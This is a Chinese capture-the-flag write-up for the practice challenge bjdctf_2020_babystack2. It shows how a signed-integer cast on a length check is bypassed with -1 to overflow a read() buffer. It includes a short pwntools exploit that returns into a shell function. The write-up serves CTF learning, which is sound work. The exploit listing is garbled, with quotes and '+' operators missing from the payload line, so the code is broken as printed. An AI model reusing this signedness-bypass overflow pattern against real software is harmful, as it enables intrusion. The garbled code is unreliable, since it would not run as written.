bjdctf_2020_babystack2

时间:2021-12-18 23:26:56

  此题考整型的有符号无符号的东西。。。

  下载文件还是,先检查一下保护。

  bjdctf_2020_babystack2

  64位程序,只开启了堆栈不可执行,看一下ida的伪代码。

bjdctf_2020_babystack2

  大概流程就是先让你输入一个数,这个数就是后面read的可以输入的长度,要想进行溢出,就必须有足够的长度,但是有一个校验,不让这个数大于十,我们得想办法绕过这个校验,让我们可以进行溢出。

  看一眼nbytes的类型是size_t,从百度百科查了一下,大概是这么个意思。

bjdctf_2020_babystack2

  大概就是一个无符号型整数,无符号型。。。but!!!你们仔细看看伪代码的图的if。

if ( (signed int)nbytes > 10 )

  这里强制转换将这个东西转换成有符号的整数,关于整数溢出,大家可以看看这个博客,一看就懂了!

  https://blog.csdn.net/xzli8_geo/article/details/83794268

  这么来说,假如我们输入一个输入进内存里面的是ffff,对于无符号型,那就是一个正数,但是变成有符号型整数,那么这个值就是-1,这样就绕过了这个检验,溢出长度就可以很长了!!!

  贴一下exp:

 1 from pwn import *
 2 
 3 p = process(./bjdctf_2020_babystack2)
 4 #p = remote(‘node3.buuoj.cn‘,27265)
 5 context.log_level = debug
 6 
 7 shell_addr = 0x0400726
 8 p.recv()
 9 p.sendline(-1)
10 p.recv()
11 payload = x39*0x10   bbbbbbbb   p64(shell_addr)
12 p.send(payload)
13 p.interactive()